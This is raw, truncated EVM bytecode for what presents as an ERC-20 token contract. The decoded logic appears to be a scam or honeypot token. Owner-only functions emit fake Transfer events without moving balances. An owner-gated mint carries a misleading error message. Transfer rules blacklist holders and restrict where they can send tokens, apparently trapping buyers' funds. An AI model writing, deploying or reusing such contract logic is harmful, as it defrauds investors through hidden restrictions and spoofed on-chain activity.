0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f9578063aab39a3011610097578063bb88603c11610071578063bb88603c14610e7f578063dcf9923314610e89578063dd62ed3e14610ff5578063f8129cd21461106d576101a9565b8063aab39a3014610c9b578063b14a5c6a14610e07578063b38ed43b14610e3b576101a9565b80639430b496116100d35780639430b496146109ee57806395d89b4114610a48578063a5aae25414610acb578063a9059cbb14610c37576101a9565b8063715018a6146108345780638d3ca13e1461083e57806390ed321b146109aa576101a9565b80633cc4430d116101665780635265327c116101405780635265327c14610736578063671e99211461077a5780636e27d889146107ae57806370a08231146107dc576101a9565b80633cc4430d146104105780634c0cc9251461057c5780634e6ec247146106e8576101a9565b806306fdde03146101ae57806308ec4eb514610231578063095ea7b3146102e957806318160ddd1461034d57806323b872dd1461036b578063313ce567146103ef575b600080fd5b6101b66111d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f65780820151818401526020810190506101db565b50505050905090810190601f1680156102235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e76004803603602081101561024757600080fd5b810190808035906020019064010000000081111561026457600080fd5b82018360208201111561027657600080fd5b8035906020019184602083028401116401000000008311171561029857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061127b565b005b610335600480360360408110156102ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611430565b60405180821515815260200191505060405180910390f35b61035561144e565b6040518082815260200191505060405180910390f35b6103d76004803603606081101561038157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611458565b60405180821515815260200191505060405180910390f35b6103f7611531565b604051808260ff16815260200191505060405180910390f35b61057a6004803603606081101561042657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561046357600080fd5b82018360208201111561047557600080fd5b8035906020019184602083028401116401000000008311171561049757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611548565b005b6106e66004803603606081101561059257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105cf57600080fd5b8201836020820111156105e157600080fd5b8035906020019184602083028401116401000000008311171561060357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561066357600080fd5b82018360208201111561067557600080fd5b8035906020019184602083028401116401000000008311171561069757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506116b5565b005b610734600480360360408110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611822565b005b6107786004803603602081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a41565b005b610782611b48565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107da600480360360208110156107c457600080fd5b8101908080359060200190929190505050611b6e565b005b61081e600480360360208110156107f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cd9565b6040518082815260200191505060405180910390f35b61083c611d21565b005b6109a86004803603606081101561085457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561089157600080fd5b8201836020820111156108a357600080fd5b803590602001918460208302840111640100000000831117156108c557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561092557600080fd5b82018360208201111561093757600080fd5b8035906020019184602083028401116401000000008311171561095957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611de6565b005b6109ec600480360360208110156109c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f53565b005b610a3060048036036020811015610a0457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061209f565b60405180821515815260200191505060405180910390f35b610a50612181565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a90578082015181840152602081019050610a75565b50505050905090810190601f168015610abd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610c3560048036036060811015610ae157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610b1e57600080fd5b820183602082011115610b3057600080fd5b80359060200191846020830284011164010000000083111715610b5257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610bb257600080fd5b820183602082011115610bc457600080fd5b80359060200191846020830284011164010000000083111715610be657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612223565b005b610c8360048036036040811015610c4d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612390565b60405180821515815260200191505060405180910390f35b610e0560048036036060811015610cb157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610cee57600080fd5b820183602082011115610d0057600080fd5b80359060200191846020830284011164010000000083111715610d2257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610d8257600080fd5b820183602082011115610d9457600080fd5b80359060200191846020830284011164010000000083111715610db657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506123ae565b005b610e0f61251b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610e7d60048036036020811015610e5157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612541565b005b610e8761268d565b005b610ff360048036036060811015610e9f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610edc57600080fd5b820183602082011115610eee57600080fd5b80359060200191846020830284011164010000000083111715610f1057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610f7057600080fd5b820183602082011115610f8257600080fd5b80359060200191846020830284011164010000000083111715610fa457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612752565b005b6110576004803603604081101561100b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128bf565b6040518082815260200191505060405180910390f35b6111d76004803603606081101561108357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156110c057600080fd5b8201836020820111156110d257600080fd5b803590602001918460208302840111640100000000831117156110f457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561115457600080fd5b82018360208201111561116657600080fd5b8035906020019184602083028401116401000000008311171561118857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612946565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112715780601f1061124657610100808354040283529160200191611271565b820191906000526020600020905b81548152906001019060200180831161125457829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461133e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b815181101561142c57600180600084848151811061135b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106113c657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611341565b5050565b600061144461143d612b3b565b8484612b43565b6001905092915050565b6000600454905090565b6000611465848484612d3a565b61152684611471612b3b565b61152185604051806060016040528060288152602001614f2d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006114d7612b3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b612b43565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461160b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156116af5782818151811061162357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061168557fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061160e565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611778576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b825181101561181c5782818151811061179057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106117f257fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061177b565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6118fa81600454612ab390919063ffffffff16565b60048190555061197381600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b73e2fe530c047f2d85298b07d9333c05737f1435fb73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000084026040518082815260200191505060405180910390a350565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611de4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ea9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b8251811015611f4d578373ffffffffffffffffffffffffffffffffffffffff16838281518110611ed857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110611f2357fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050611eac565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612016576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061209c81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600854612b43565b50565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612164576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61217882612170612b3b565b600854612b43565b60019050919050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122195780601f106121ee57610100808354040283529160200191612219565b820191906000526020600020905b8154815290600101906020018083116121fc57829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b825181101561238a578373ffffffffffffffffffffffffffffffffffffffff1683828151811061231557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061236057fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506122e9565b50505050565b60006123a461239d612b3b565b8484612d3a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156125155782818151811061248957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106124eb57fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612474565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061268a81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000612b43565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612750576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612815576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156128b95782818151811061282d57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061288f57fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612818565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b8251811015612aad57828181518110612a2157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110612a8357fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612a0c565b50505050565b600080828401905083811015612b31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614f7a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614ee56022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b8181846000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015612e0b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612e615783600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612e5c8787876134d4565b61340b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612f0a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80612f625750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561300c57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015612fef57508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612ffc5782600a819055505b6130078787876134d4565b61340a565b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613075576130708787876134d4565b613409565b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156131dc57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806131775750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6131cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b6131d78787876134d4565b613408565b600a548310156132fd57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156132ed576001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6132f88787876134d4565b613407565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806133a65750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6133fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b6134068787876134d4565b5b5b5b5b5b50505050505050565b60008383111582906134c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561348657808201518184015260208101905061346b565b50505050905090810190601f1680156134b35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b8181846000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156135a55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156139285783600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613671576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156136f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b613702878787614ebc565b61376d85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613800856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156138be57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb3565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806139d15750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80613a295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15613e0057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015613ab657508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613ac35782600a819055505b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b613bda878787614ebc565b613c4585604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613cd8856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613d9657600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb2565b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561419657600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b613f70878787614ebc565b613fdb85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061406e856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561412c57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb1565b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561462a57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806142985750600b6